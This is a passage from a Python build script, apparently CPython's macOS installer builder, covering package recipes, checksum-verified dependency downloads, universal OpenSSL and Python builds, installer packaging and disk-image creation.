IDE), Python Launcher and Build Applet (create application bundles from python scripts). It also installs a number of examples and demos. """, required=False, selected='selected', ), dict( name="PythonUnixTools", long_name="UNIX command-line tools", source="/usr/local/bin", readme="""\ This package installs the unix tools in /usr/local/bin for compatibility with older releases of Python. This package is not necessary to use Python. """, required=False, selected='selected', ), dict( name="PythonDocumentation", long_name="Python Documentation", topdir="/Library/Frameworks/Python.framework/Versions/%(VER)s/Resources/English.lproj/Documentation", source="/pydocs", readme="""\ This package installs the python documentation at a location that is useable for pydoc and IDLE. """, postflight="scripts/postflight.documentation", required=False, selected='selected', ), dict( name="PythonProfileChanges", long_name="Shell profile updater", readme="""\ This packages updates your shell profile to make sure that the Python tools are found by your shell in preference of the system provided Python tools. If you don't install this package you'll have to add "/Library/Frameworks/Python.framework/Versions/%(VER)s/bin" to your PATH by hand. """, postflight="scripts/postflight.patch-profile", topdir="/Library/Frameworks/Python.framework", source="/empty-dir", required=False, selected='selected', ), dict( name="PythonInstallPip", long_name="Install or upgrade pip", readme="""\ This package installs (or upgrades from an earlier version) pip, a tool for installing and managing Python packages. """, postflight="scripts/postflight.ensurepip", topdir="/Library/Frameworks/Python.framework", source="/empty-dir", required=False, selected='selected', ), ] return result def fatal(msg): """ A fatal error, bail out. """ sys.stderr.write('FATAL: ') sys.stderr.write(msg) sys.stderr.write('\n') sys.exit(1) def fileContents(fn): """ Return the contents of the named file """ return open(fn, 'r').read() def runCommand(commandline): """ Run a command and raise RuntimeError if it fails. Output is suppressed unless the command fails. """ fd = os.popen(commandline, 'r') data = fd.read() xit = fd.close() if xit is not None: sys.stdout.write(data) raise RuntimeError("command failed: %s"%(commandline,)) if VERBOSE: sys.stdout.write(data); sys.stdout.flush() def captureCommand(commandline): fd = os.popen(commandline, 'r') data = fd.read() xit = fd.close() if xit is not None: sys.stdout.write(data) raise RuntimeError("command failed: %s"%(commandline,)) return data def getTclTkVersion(configfile, versionline): """ search Tcl or Tk configuration file for version line """ try: f = open(configfile, "r") except OSError: fatal("Framework configuration file not found: %s" % configfile) for l in f: if l.startswith(versionline): f.close() return l fatal("Version variable %s not found in framework configuration file: %s" % (versionline, configfile)) def checkEnvironment(): """ Check that we're running on a supported system. """ if sys.version_info[0:2] < (2, 5): fatal("This script must be run with Python 2.5 (or later)") if platform.system() != 'Darwin': fatal("This script should be run on a macOS 10.5 (or later) system") if int(platform.release().split('.')[0]) < 8: fatal("This script should be run on a macOS 10.5 (or later) system") # Because we only support dynamic load of only one major/minor version of # Tcl/Tk, if we are not using building and using our own private copy of # Tcl/Tk, ensure: # 1. there is a user-installed framework (usually ActiveTcl) in (or linked # in) SDKROOT/Library/Frameworks. As of Python 3.6.5, we no longer # enforce that the version of the user-installed framework also # exists in the system-supplied Tcl/Tk frameworks. Time to support # Tcl/Tk 8.6 even if Apple does not. if not internalTk(): frameworks = {} for framework in ['Tcl', 'Tk']: fwpth = 'Library/Frameworks/%s.framework/Versions/Current' % framework libfw = os.path.join('/', fwpth) usrfw = os.path.join(os.getenv('HOME'), fwpth) frameworks[framework] = os.readlink(libfw) if not os.path.exists(libfw): fatal("Please install a link to a current %s %s as %s so " "the user can override the system framework." % (framework, frameworks[framework], libfw)) if os.path.exists(usrfw): fatal("Please rename %s to avoid possible dynamic load issues." % usrfw) if frameworks['Tcl'] != frameworks['Tk']: fatal("The Tcl and Tk frameworks are not the same version.") print(" -- Building with external Tcl/Tk %s frameworks" % frameworks['Tk']) # add files to check after build EXPECTED_SHARED_LIBS['_tkinter.so'] = [ "/Library/Frameworks/Tcl.framework/Versions/%s/Tcl" % frameworks['Tcl'], "/Library/Frameworks/Tk.framework/Versions/%s/Tk" % frameworks['Tk'], ] else: print(" -- Building private copy of Tcl/Tk") print("") # Remove inherited environment variables which might influence build environ_var_prefixes = ['CPATH', 'C_INCLUDE_', 'DYLD_', 'LANG', 'LC_', 'LD_', 'LIBRARY_', 'PATH', 'PYTHON'] for ev in list(os.environ): for prefix in environ_var_prefixes: if ev.startswith(prefix) : print("INFO: deleting environment variable %s=%s" % ( ev, os.environ[ev])) del os.environ[ev] base_path = '/bin:/sbin:/usr/bin:/usr/sbin' if 'SDK_TOOLS_BIN' in os.environ: base_path = os.environ['SDK_TOOLS_BIN'] + ':' + base_path # Xcode 2.5 on OS X 10.4 does not include SetFile in its usr/bin; # add its fixed location here if it exists OLD_DEVELOPER_TOOLS = '/Developer/Tools' if os.path.isdir(OLD_DEVELOPER_TOOLS): base_path = base_path + ':' + OLD_DEVELOPER_TOOLS os.environ['PATH'] = base_path print("Setting default PATH: %s"%(os.environ['PATH'])) if PYTHON_2: # Ensure we have access to sphinx-build. # You may have to define SDK_TOOLS_BIN and link to it there, runCommand('sphinx-build --version') def parseOptions(args=None): """ Parse arguments and update global settings. """ global WORKDIR, DEPSRC, SRCDIR, DEPTARGET global UNIVERSALOPTS, UNIVERSALARCHS, ARCHLIST, CC, CXX global FW_VERSION_PREFIX global FW_SSL_DIRECTORY if args is None: args = sys.argv[1:] try: options, args = getopt.getopt(args, '?hb', [ 'build-dir=', 'third-party=', 'sdk-path=' , 'src-dir=', 'dep-target=', 'universal-archs=', 'help' ]) except getopt.GetoptError: print(sys.exc_info()[1]) sys.exit(1) if args: print("Additional arguments") sys.exit(1) deptarget = None for k, v in options: if k in ('-h', '-?', '--help'): print(USAGE) sys.exit(0) elif k in ('-d', '--build-dir'): WORKDIR=v elif k in ('--third-party',): DEPSRC=v elif k in ('--sdk-path',): print(" WARNING: --sdk-path is no longer supported") elif k in ('--src-dir',): SRCDIR=v elif k in ('--dep-target', ): DEPTARGET=v deptarget=v elif k in ('--universal-archs', ): if v in UNIVERSALOPTS: UNIVERSALARCHS = v ARCHLIST = universal_opts_map[UNIVERSALARCHS] if deptarget is None: # Select alternate default deployment # target DEPTARGET = default_target_map.get(v, '10.5') else: raise NotImplementedError(v) else: raise NotImplementedError(k) SRCDIR=os.path.abspath(SRCDIR) WORKDIR=os.path.abspath(WORKDIR) DEPSRC=os.path.abspath(DEPSRC) CC, CXX = getTargetCompilers() FW_VERSION_PREFIX = FW_PREFIX[:] + ["Versions", getVersion()] FW_SSL_DIRECTORY = FW_VERSION_PREFIX[:] + ["etc", "openssl"] print("-- Settings:") print(" * Source directory: %s" % SRCDIR) print(" * Build directory: %s" % WORKDIR) print(" * Third-party source: %s" % DEPSRC) print(" * Deployment target: %s" % DEPTARGET) print(" * Universal archs: %s" % str(ARCHLIST)) print(" * C compiler: %s" % CC) print(" * C++ compiler: %s" % CXX) print("") print(" -- Building a Python %s framework at patch level %s" % (getVersion(), getFullVersion())) print("") def extractArchive(builddir, archiveName): """ Extract a source archive into 'builddir'. Returns the path of the extracted archive. XXX: This function assumes that archives contain a toplevel directory that is has the same name as the basename of the archive. This is safe enough for almost anything we use. Unfortunately, it does not work for current Tcl and Tk source releases where the basename of the archive ends with "-src" but the uncompressed directory does not. For now, just special case Tcl and Tk tar.gz downloads. """ curdir = os.getcwd() try: os.chdir(builddir) if archiveName.endswith('.tar.gz'): retval = os.path.basename(archiveName[:-7]) if ((retval.startswith('tcl') or retval.startswith('tk')) and retval.endswith('-src')): retval = retval[:-4] if os.path.exists(retval): shutil.rmtree(retval) fp = os.popen("tar zxf %s 2>&1"%(shellQuote(archiveName),), 'r') elif archiveName.endswith('.tar.bz2'): retval = os.path.basename(archiveName[:-8]) if os.path.exists(retval): shutil.rmtree(retval) fp = os.popen("tar jxf %s 2>&1"%(shellQuote(archiveName),), 'r') elif archiveName.endswith('.tar'): retval = os.path.basename(archiveName[:-4]) if os.path.exists(retval): shutil.rmtree(retval) fp = os.popen("tar xf %s 2>&1"%(shellQuote(archiveName),), 'r') elif archiveName.endswith('.zip'): retval = os.path.basename(archiveName[:-4]) if os.path.exists(retval): shutil.rmtree(retval) fp = os.popen("unzip %s 2>&1"%(shellQuote(archiveName),), 'r') data = fp.read() xit = fp.close() if xit is not None: sys.stdout.write(data) raise RuntimeError("Cannot extract %s"%(archiveName,)) return os.path.join(builddir, retval) finally: os.chdir(curdir) def downloadURL(url, fname): """ Download the contents of the url into the file. """ fpIn = urllib_request.urlopen(url) fpOut = open(fname, 'wb') block = fpIn.read(10240) try: while block: fpOut.write(block) block = fpIn.read(10240) fpIn.close() fpOut.close() except: try: os.unlink(fname) except OSError: pass def verifyThirdPartyFile(url, checksum, fname): """ Download file from url to filename fname if it does not already exist. Abort if file contents does not match supplied md5 checksum. """ name = os.path.basename(fname) if os.path.exists(fname): print("Using local copy of %s"%(name,)) else: print("Did not find local copy of %s"%(name,)) print("Downloading %s"%(name,)) downloadURL(url, fname) print("Archive for %s stored as %s"%(name, fname)) if os.system( 'MD5=$(openssl md5 %s) ; test "${MD5##*= }" = "%s"' % (shellQuote(fname), checksum) ): fatal('MD5 checksum mismatch for file %s' % fname) def build_universal_openssl(basedir, archList): """ Special case build recipe for universal build of openssl. The upstream OpenSSL build system does not directly support OS X universal builds. We need to build each architecture separately then lipo them together into fat libraries. """ # OpenSSL fails to build with Xcode 2.5 (on OS X 10.4). # If we are building on a 10.4.x or earlier system, # unilaterally disable assembly code building to avoid the problem. no_asm = int(platform.release().split(".")[0]) < 9 def build_openssl_arch(archbase, arch): "Build one architecture of openssl" arch_opts = { "i386": ["darwin-i386-cc"], "x86_64": ["darwin64-x86_64-cc", "enable-ec_nistp_64_gcc_128"], "ppc": ["darwin-ppc-cc"], "ppc64": ["darwin64-ppc-cc"], } configure_opts = [ "no-krb5", "no-idea", "no-mdc2", "no-rc5", "no-zlib", "enable-tlsext", "no-ssl2", "no-ssl3", # "enable-unit-test", "shared", "--install_prefix=%s"%shellQuote(archbase), "--prefix=%s"%os.path.join("/", *FW_VERSION_PREFIX), "--openssldir=%s"%os.path.join("/", *FW_SSL_DIRECTORY), ] if no_asm: configure_opts.append("no-asm") # OpenSSL 1.0.2o broke the Configure test for whether the compiler # in use supports dependency rule generation (cc -M) with gcc-4.2 # used for the 10.6+ installer builds. Patch Configure here to # force use of "cc -M" rather than "makedepend". runCommand( """sed -i "" 's|my $cc_as_makedepend = 0|my $cc_as_makedepend = 1|g' Configure""") runCommand(" ".join(["perl", "Configure"] + arch_opts[arch] + configure_opts)) runCommand("make depend") runCommand("make all") runCommand("make install_sw") # runCommand("make test") return srcdir = os.getcwd() universalbase = os.path.join(srcdir, "..", os.path.basename(srcdir) + "-universal") os.mkdir(universalbase) archbasefws = [] for arch in archList: # fresh copy of the source tree archsrc = os.path.join(universalbase, arch, "src") shutil.copytree(srcdir, archsrc, symlinks=True) # install base for this arch archbase = os.path.join(universalbase, arch, "root") os.mkdir(archbase) # Python framework base within install_prefix: # the build will install into this framework.. # This is to ensure that the resulting shared libs have # the desired real install paths built into them. archbasefw = os.path.join(archbase, *FW_VERSION_PREFIX) # build one architecture os.chdir(archsrc) build_openssl_arch(archbase, arch) os.chdir(srcdir) archbasefws.append(archbasefw) # copy arch-independent files from last build into the basedir framework basefw = os.path.join(basedir, *FW_VERSION_PREFIX) shutil.copytree( os.path.join(archbasefw, "include", "openssl"), os.path.join(basefw, "include", "openssl") ) shlib_version_number = grepValue(os.path.join(archsrc, "Makefile"), "SHLIB_VERSION_NUMBER") # e.g. -> "1.0.0" libcrypto = "libcrypto.dylib" libcrypto_versioned = libcrypto.replace(".", "."+shlib_version_number+".") # e.g. -> "libcrypto.1.0.0.dylib" libssl = "libssl.dylib" libssl_versioned = libssl.replace(".", "."+shlib_version_number+".") # e.g. -> "libssl.1.0.0.dylib" try: os.mkdir(os.path.join(basefw, "lib")) except OSError: pass # merge the individual arch-dependent shared libs into a fat shared lib archbasefws.insert(0, basefw) for (lib_unversioned, lib_versioned) in [ (libcrypto, libcrypto_versioned), (libssl, libssl_versioned) ]: runCommand("lipo -create -output " + " ".join(shellQuote( os.path.join(fw, "lib", lib_versioned)) for fw in archbasefws)) # and create an unversioned symlink of it os.symlink(lib_versioned, os.path.join(basefw, "lib", lib_unversioned)) # Create links in the temp include and lib dirs that will be injected # into the Python build so that setup.py can find them while building # and the versioned links so that the setup.py post-build import test # does not fail. relative_path = os.path.join("..", "..", "..", *FW_VERSION_PREFIX) for fn in [ ["include", "openssl"], ["lib", libcrypto], ["lib", libssl], ["lib", libcrypto_versioned], ["lib", libssl_versioned], ]: os.symlink( os.path.join(relative_path, *fn), os.path.join(basedir, "usr", "local", *fn) ) return def buildRecipe(recipe, basedir, archList): """ Build software using a recipe. This function does the 'configure;make;make install' dance for C software, with a possibility to customize this process, basically a poor-mans DarwinPorts. """ curdir = os.getcwd() name = recipe['name'] THIRD_PARTY_LIBS.append(name) url = recipe['url'] configure = recipe.get('configure', './configure') buildrecipe = recipe.get('buildrecipe', None) install = recipe.get('install', 'make && make install DESTDIR=%s'%( shellQuote(basedir))) archiveName = os.path.split(url)[-1] sourceArchive = os.path.join(DEPSRC, archiveName) if not os.path.exists(DEPSRC): os.mkdir(DEPSRC) verifyThirdPartyFile(url, recipe['checksum'], sourceArchive) print("Extracting archive for %s"%(name,)) buildDir=os.path.join(WORKDIR, '_bld') if not os.path.exists(buildDir): os.mkdir(buildDir) workDir = extractArchive(buildDir, sourceArchive) os.chdir(workDir) for patch in recipe.get('patches', ()): if isinstance(patch, tuple): url, checksum = patch fn = os.path.join(DEPSRC, os.path.basename(url)) verifyThirdPartyFile(url, checksum, fn) else: # patch is a file in the source directory fn = os.path.join(curdir, patch) runCommand('patch -p%s < %s'%(recipe.get('patchlevel', 1), shellQuote(fn),)) for patchscript in recipe.get('patchscripts', ()): if isinstance(patchscript, tuple): url, checksum = patchscript fn = os.path.join(DEPSRC, os.path.basename(url)) verifyThirdPartyFile(url, checksum, fn) else: # patch is a file in the source directory fn = os.path.join(curdir, patchscript) if fn.endswith('.bz2'): runCommand('bunzip2 -fk %s' % shellQuote(fn)) fn = fn[:-4] runCommand('sh %s' % shellQuote(fn)) os.unlink(fn) if 'buildDir' in recipe: os.chdir(recipe['buildDir']) if configure is not None: configure_args = [ "--prefix=/usr/local", "--enable-static", "--disable-shared", #"CPP=gcc -arch %s -E"%(' -arch '.join(archList,),), ] if 'configure_pre' in recipe: args = list(recipe['configure_pre']) if '--disable-static' in args: configure_args.remove('--enable-static') if '--enable-shared' in args: configure_args.remove('--disable-shared') configure_args.extend(args) if recipe.get('useLDFlags', 1): configure_args.extend([ "CFLAGS=%s-mmacosx-version-min=%s -arch %s " "-I%s/usr/local/include"%( recipe.get('extra_cflags', ''), DEPTARGET, ' -arch '.join(archList), shellQuote(basedir)[1:-1],), "LDFLAGS=-mmacosx-version-min=%s -L%s/usr/local/lib -arch %s"%( DEPTARGET, shellQuote(basedir)[1:-1], ' -arch '.join(archList)), ]) else: configure_args.extend([ "CFLAGS=%s-mmacosx-version-min=%s -arch %s " "-I%s/usr/local/include"%( recipe.get('extra_cflags', ''), DEPTARGET, ' -arch '.join(archList), shellQuote(basedir)[1:-1],), ]) if 'configure_post' in recipe: configure_args = configure_args + list(recipe['configure_post']) configure_args.insert(0, configure) configure_args = [ shellQuote(a) for a in configure_args ] print("Running configure for %s"%(name,)) runCommand(' '.join(configure_args) + ' 2>&1') if buildrecipe is not None: # call special-case build recipe, e.g. for openssl buildrecipe(basedir, archList) if install is not None: print("Running install for %s"%(name,)) runCommand('{ ' + install + ' ;} 2>&1') print("Done %s"%(name,)) print("") os.chdir(curdir) def buildLibraries(): """ Build our dependencies into $WORKDIR/libraries/usr/local """ print("") print("Building required libraries") print("") universal = os.path.join(WORKDIR, 'libraries') os.mkdir(universal) os.makedirs(os.path.join(universal, 'usr', 'local', 'lib')) os.makedirs(os.path.join(universal, 'usr', 'local', 'include')) for recipe in library_recipes(): buildRecipe(recipe, universal, ARCHLIST) def buildPythonDocs(): # This stores the documentation as Resources/English.lproj/Documentation # inside the framework. pydoc and IDLE will pick it up there. print("Install python documentation") rootDir = os.path.join(WORKDIR, '_root') buildDir = os.path.join('../../Doc') docdir = os.path.join(rootDir, 'pydocs') curDir = os.getcwd() os.chdir(buildDir) runCommand('make clean') if PYTHON_2: # Python 2 doc builds do not use blurb nor do they have a venv target. # Assume sphinx-build is on our PATH, checked in checkEnvironment runCommand('make html') else: # Create virtual environment for docs builds with blurb and sphinx runCommand('make venv') runCommand('make html PYTHON=venv/bin/python') os.chdir(curDir) if not os.path.exists(docdir): os.mkdir(docdir) os.rename(os.path.join(buildDir, 'build', 'html'), docdir) def buildPython(): print("Building a universal python for %s architectures" % UNIVERSALARCHS) buildDir = os.path.join(WORKDIR, '_bld', 'python') rootDir = os.path.join(WORKDIR, '_root') if os.path.exists(buildDir): shutil.rmtree(buildDir) if os.path.exists(rootDir): shutil.rmtree(rootDir) os.makedirs(buildDir) os.makedirs(rootDir) os.makedirs(os.path.join(rootDir, 'empty-dir')) curdir = os.getcwd() os.chdir(buildDir) # Extract the version from the configure file, needed to calculate # several paths. version = getVersion() # Since the extra libs are not in their installed framework location # during the build, augment the library path so that the interpreter # will find them during its extension import sanity checks. os.environ['DYLD_LIBRARY_PATH'] = os.path.join(WORKDIR, 'libraries', 'usr', 'local', 'lib') print("Running configure...") runCommand("%s -C --enable-framework --enable-universalsdk=/ " "--with-universal-archs=%s " "%s " "%s " "%s " "%s " "LDFLAGS='-g -L%s/libraries/usr/local/lib' " "CFLAGS='-g -I%s/libraries/usr/local/include' 2>&1"%( shellQuote(os.path.join(SRCDIR, 'configure')), UNIVERSALARCHS, (' ', '--with-computed-gotos ')[PYTHON_3], (' ', '--without-ensurepip ')[PYTHON_3], (' ', "--with-tcltk-includes='-I%s/libraries/usr/local/include'"%( shellQuote(WORKDIR)[1:-1],))[internalTk()], (' ', "--with-tcltk-libs='-L%s/libraries/usr/local/lib -ltcl8.6 -ltk8.6'"%( shellQuote(WORKDIR)[1:-1],))[internalTk()], shellQuote(WORKDIR)[1:-1], shellQuote(WORKDIR)[1:-1])) # Look for environment value BUILDINSTALLER_BUILDPYTHON_MAKE_EXTRAS # and, if defined, append its value to the make command. This allows # us to pass in version control tags, like GITTAG, to a build from a # tarball rather than from a vcs checkout, thus eliminating the need # to have a working copy of the vcs program on the build machine. # # A typical use might be: # export BUILDINSTALLER_BUILDPYTHON_MAKE_EXTRAS=" \ # GITVERSION='echo 123456789a' \ # GITTAG='echo v3.6.0' \ # GITBRANCH='echo 3.6'" make_extras = os.getenv("BUILDINSTALLER_BUILDPYTHON_MAKE_EXTRAS") if make_extras: make_cmd = "make " + make_extras else: make_cmd = "make" print("Running " + make_cmd) runCommand(make_cmd) print("Running make install") runCommand("make install DESTDIR=%s"%( shellQuote(rootDir))) print("Running make frameworkinstallextras") runCommand("make frameworkinstallextras DESTDIR=%s"%( shellQuote(rootDir))) del os.environ['DYLD_LIBRARY_PATH'] print("Copying required shared libraries") if os.path.exists(os.path.join(WORKDIR, 'libraries', 'Library')): build_lib_dir = os.path.join( WORKDIR, 'libraries', 'Library', 'Frameworks', 'Python.framework', 'Versions', getVersion(), 'lib') fw_lib_dir = os.path.join( WORKDIR, '_root', 'Library', 'Frameworks', 'Python.framework', 'Versions', getVersion(), 'lib') if internalTk(): # move Tcl and Tk pkgconfig files runCommand("mv %s/pkgconfig/* %s/pkgconfig"%( shellQuote(build_lib_dir), shellQuote(fw_lib_dir) )) runCommand("rm -r %s/pkgconfig"%( shellQuote(build_lib_dir), )) runCommand("mv %s/* %s"%( shellQuote(build_lib_dir), shellQuote(fw_lib_dir) )) frmDir = os.path.join(rootDir, 'Library', 'Frameworks', 'Python.framework') frmDirVersioned = os.path.join(frmDir, 'Versions', version) path_to_lib = os.path.join(frmDirVersioned, 'lib', 'python%s'%(version,)) # create directory for OpenSSL certificates sslDir = os.path.join(frmDirVersioned, 'etc', 'openssl') os.makedirs(sslDir) print("Fix file modes") gid = grp.getgrnam('admin').gr_gid shared_lib_error = False for dirpath, dirnames, filenames in os.walk(frmDir): for dn in dirnames: os.chmod(os.path.join(dirpath, dn), STAT_0o775) os.chown(os.path.join(dirpath, dn), -1, gid) for fn in filenames: if os.path.islink(fn): continue # "chmod g+w $fn" p = os.path.join(dirpath, fn) st = os.stat(p) os.chmod(p, stat.S_IMODE(st.st_mode) | stat.S_IWGRP) os.chown(p, -1, gid) if fn in EXPECTED_SHARED_LIBS: # check to see that this file was linked with the # expected library path and version data = captureCommand("otool -L %s" % shellQuote(p)) for sl in EXPECTED_SHARED_LIBS[fn]: if ("\t%s " % sl) not in data: print("Expected shared lib %s was not linked with %s" % (sl, p)) shared_lib_error = True if shared_lib_error: fatal("Unexpected shared library errors.") if PYTHON_3: LDVERSION=None VERSION=None ABIFLAGS=None fp = open(os.path.join(buildDir, 'Makefile'), 'r') for ln in fp: if ln.startswith('VERSION='): VERSION=ln.split()[1] if ln.startswith('ABIFLAGS='): ABIFLAGS=ln.split()[1] if ln.startswith('LDVERSION='): LDVERSION=ln.split()[1] fp.close() LDVERSION = LDVERSION.replace('$(VERSION)', VERSION) LDVERSION = LDVERSION.replace('$(ABIFLAGS)', ABIFLAGS) config_suffix = '-' + LDVERSION if getVersionMajorMinor() >= (3, 6): config_suffix = config_suffix + '-darwin' else: config_suffix = '' # Python 2.x # We added some directories to the search path during the configure # phase. Remove those because those directories won't be there on # the end-users system. Also remove the directories from _sysconfigdata.py # (added in 3.3) if it exists. include_path = '-I%s/libraries/usr/local/include' % (WORKDIR,) lib_path = '-L%s/libraries/usr/local/lib' % (WORKDIR,) # fix Makefile path = os.path.join(path_to_lib, 'config' + config_suffix, 'Makefile') fp = open(path, 'r') data = fp.read() fp.close() for p in (include_path, lib_path): data = data.replace(" " + p, '') data = data.replace(p + " ", '') fp = open(path, 'w') fp.write(data) fp.close() # fix _sysconfigdata # # TODO: make this more robust! test_sysconfig_module of # distutils.tests.test_sysconfig.SysconfigTestCase tests that # the output from get_config_var in both sysconfig and # distutils.sysconfig is exactly the same for both CFLAGS and # LDFLAGS. The fixing up is now complicated by the pretty # printing in _sysconfigdata.py. Also, we are using the # pprint from the Python running the installer build which # may not cosmetically format the same as the pprint in the Python # being built (and which is used to originally generate # _sysconfigdata.py). import pprint if getVersionMajorMinor() >= (3, 6): # XXX this is extra-fragile path = os.path.join(path_to_lib, '_sysconfigdata_m_darwin_darwin.py') else: path = os.path.join(path_to_lib, '_sysconfigdata.py') fp = open(path, 'r') data = fp.read() fp.close() # create build_time_vars dict exec(data) vars = {} for k, v in build_time_vars.items(): if type(v) == type(''): for p in (include_path, lib_path): v = v.replace(' ' + p, '') v = v.replace(p + ' ', '') vars[k] = v fp = open(path, 'w') # duplicated from sysconfig._generate_posix_vars() fp.write('# system configuration generated and used by' ' the sysconfig module\n') fp.write('build_time_vars = ') pprint.pprint(vars, stream=fp) fp.close() # Add symlinks in /usr/local/bin, using relative links usr_local_bin = os.path.join(rootDir, 'usr', 'local', 'bin') to_framework = os.path.join('..', '..', '..', 'Library', 'Frameworks', 'Python.framework', 'Versions', version, 'bin') if os.path.exists(usr_local_bin): shutil.rmtree(usr_local_bin) os.makedirs(usr_local_bin) for fn in os.listdir( os.path.join(frmDir, 'Versions', version, 'bin')): os.symlink(os.path.join(to_framework, fn), os.path.join(usr_local_bin, fn)) os.chdir(curdir) if PYTHON_3: # Remove the 'Current' link, that way we don't accidentally mess # with an already installed version of python 2 os.unlink(os.path.join(rootDir, 'Library', 'Frameworks', 'Python.framework', 'Versions', 'Current')) def patchFile(inPath, outPath): data = fileContents(inPath) data = data.replace('$FULL_VERSION', getFullVersion()) data = data.replace('$VERSION', getVersion()) data = data.replace('$MACOSX_DEPLOYMENT_TARGET', ''.join((DEPTARGET, ' or later'))) data = data.replace('$ARCHITECTURES', ", ".join(universal_opts_map[UNIVERSALARCHS])) data = data.replace('$INSTALL_SIZE', installSize()) data = data.replace('$THIRD_PARTY_LIBS', "\\\n".join(THIRD_PARTY_LIBS)) # This one is not handy as a template variable data = data.replace('$PYTHONFRAMEWORKINSTALLDIR', '/Library/Frameworks/Python.framework') fp = open(outPath, 'w') fp.write(data) fp.close() def patchScript(inPath, outPath): major, minor = getVersionMajorMinor() data = fileContents(inPath) data = data.replace('@PYMAJOR@', str(major)) data = data.replace('@PYVER@', getVersion()) fp = open(outPath, 'w') fp.write(data) fp.close() os.chmod(outPath, STAT_0o755) def packageFromRecipe(targetDir, recipe): curdir = os.getcwd() try: # The major version (such as 2.5) is included in the package name # because having two version of python installed at the same time is # common. pkgname = '%s-%s'%(recipe['name'], getVersion()) srcdir = recipe.get('source') pkgroot = recipe.get('topdir', srcdir) postflight = recipe.get('postflight') readme = textwrap.dedent(recipe['readme']) isRequired = recipe.get('required', True) print("- building package %s"%(pkgname,)) # Substitute some variables textvars = dict( VER=getVersion(), FULLVER=getFullVersion(), ) readme = readme % textvars if pkgroot is not None: pkgroot = pkgroot % textvars else: pkgroot = '/' if srcdir is not None: srcdir = os.path.join(WORKDIR, '_root', srcdir[1:]) srcdir = srcdir % textvars if postflight is not None: postflight = os.path.abspath(postflight) packageContents = os.path.join(targetDir, pkgname + '.pkg', 'Contents') os.makedirs(packageContents) if srcdir is not None: os.chdir(srcdir) runCommand("pax -wf %s . 2>&1"%(shellQuote(os.path.join(packageContents, 'Archive.pax')),)) runCommand("gzip -9 %s 2>&1"%(shellQuote(os.path.join(packageContents, 'Archive.pax')),)) runCommand("mkbom . %s 2>&1"%(shellQuote(os.path.join(packageContents, 'Archive.bom')),)) fn = os.path.join(packageContents, 'PkgInfo') fp = open(fn, 'w') fp.write('pmkrpkg1') fp.close() rsrcDir = os.path.join(packageContents, "Resources") os.mkdir(rsrcDir) fp = open(os.path.join(rsrcDir, 'ReadMe.txt'), 'w') fp.write(readme) fp.close() if postflight is not None: patchScript(postflight, os.path.join(rsrcDir, 'postflight')) vers = getFullVersion() major, minor = getVersionMajorMinor() pl = Plist( CFBundleGetInfoString="Python.%s %s"%(pkgname, vers,), CFBundleIdentifier='org.python.Python.%s'%(pkgname,), CFBundleName='Python.%s'%(pkgname,), CFBundleShortVersionString=vers, IFMajorVersion=major, IFMinorVersion=minor, IFPkgFormatVersion=0.10000000149011612, IFPkgFlagAllowBackRev=False, IFPkgFlagAuthorizationAction="RootAuthorization", IFPkgFlagDefaultLocation=pkgroot, IFPkgFlagFollowLinks=True, IFPkgFlagInstallFat=True, IFPkgFlagIsRequired=isRequired, IFPkgFlagOverwritePermissions=False, IFPkgFlagRelocatable=False, IFPkgFlagRestartAction="NoRestart", IFPkgFlagRootVolumeOnly=True, IFPkgFlagUpdateInstalledLangauges=False, ) writePlist(pl, os.path.join(packageContents, 'Info.plist')) pl = Plist( IFPkgDescriptionDescription=readme, IFPkgDescriptionTitle=recipe.get('long_name', "Python.%s"%(pkgname,)), IFPkgDescriptionVersion=vers, ) writePlist(pl, os.path.join(packageContents, 'Resources', 'Description.plist')) finally: os.chdir(curdir) def makeMpkgPlist(path): vers = getFullVersion() major, minor = getVersionMajorMinor() pl = Plist( CFBundleGetInfoString="Python %s"%(vers,), CFBundleIdentifier='org.python.Python', CFBundleName='Python', CFBundleShortVersionString=vers, IFMajorVersion=major, IFMinorVersion=minor, IFPkgFlagComponentDirectory="Contents/Packages", IFPkgFlagPackageList=[ dict( IFPkgFlagPackageLocation='%s-%s.pkg'%(item['name'], getVersion()), IFPkgFlagPackageSelection=item.get('selected', 'selected'), ) for item in pkg_recipes() ], IFPkgFormatVersion=0.10000000149011612, IFPkgFlagBackgroundScaling="proportional", IFPkgFlagBackgroundAlignment="left", IFPkgFlagAuthorizationAction="RootAuthorization", ) writePlist(pl, path) def buildInstaller(): # Zap all compiled files for dirpath, _, filenames in os.walk(os.path.join(WORKDIR, '_root')): for fn in filenames: if fn.endswith('.pyc') or fn.endswith('.pyo'): os.unlink(os.path.join(dirpath, fn)) outdir = os.path.join(WORKDIR, 'installer') if os.path.exists(outdir): shutil.rmtree(outdir) os.mkdir(outdir) pkgroot = os.path.join(outdir, 'Python.mpkg', 'Contents') pkgcontents = os.path.join(pkgroot, 'Packages') os.makedirs(pkgcontents) for recipe in pkg_recipes(): packageFromRecipe(pkgcontents, recipe) rsrcDir = os.path.join(pkgroot, 'Resources') fn = os.path.join(pkgroot, 'PkgInfo') fp = open(fn, 'w') fp.write('pmkrpkg1') fp.close() os.mkdir(rsrcDir) makeMpkgPlist(os.path.join(pkgroot, 'Info.plist')) pl = Plist( IFPkgDescriptionTitle="Python", IFPkgDescriptionVersion=getVersion(), ) writePlist(pl, os.path.join(pkgroot, 'Resources', 'Description.plist')) for fn in os.listdir('resources'): if fn == '.svn': continue if fn.endswith('.jpg'): shutil.copy(os.path.join('resources', fn), os.path.join(rsrcDir, fn)) else: patchFile(os.path.join('resources', fn), os.path.join(rsrcDir, fn)) def installSize(clear=False, _saved=[]): if clear: del _saved[:] if not _saved: data = captureCommand("du -ks %s"%( shellQuote(os.path.join(WORKDIR, '_root')))) _saved.append("%d"%((0.5 + (int(data.split()[0]) / 1024.0)),)) return _saved[0] def buildDMG(): """ Create DMG containing the rootDir. """ outdir = os.path.join(WORKDIR, 'diskimage') if os.path.exists(outdir): shutil.rmtree(outdir) imagepath = os.path.join(outdir, 'python-%s-macosx%s'%(getFullVersion(),DEPTARGET)) if INCLUDE_TIMESTAMP: imagepath = imagepath + '-%04d-%02d-%02d'%(time.localtime()[:3]) imagepath = imagepath + '.dmg' os.mkdir(outdir) # Try to mitigate race condition in certain versions of macOS, e.g. 10.9, # when hdiutil create fails with "Resource busy". For now, just retry # the create a few times and hope that it eventually works. volname='Python %s'%(getFullVersion()) cmd = ("hdiutil create -format UDRW -volname %s -srcfolder %s -size 100m %s"%( shellQuote(volname), shellQuote(os.path.join(WORKDIR, 'installer')), shellQuote(imagepath + ".tmp.dmg" ))) for i in range(5): fd = os.popen(cmd, 'r') data = fd.read() xit = fd.close() if not xit: break 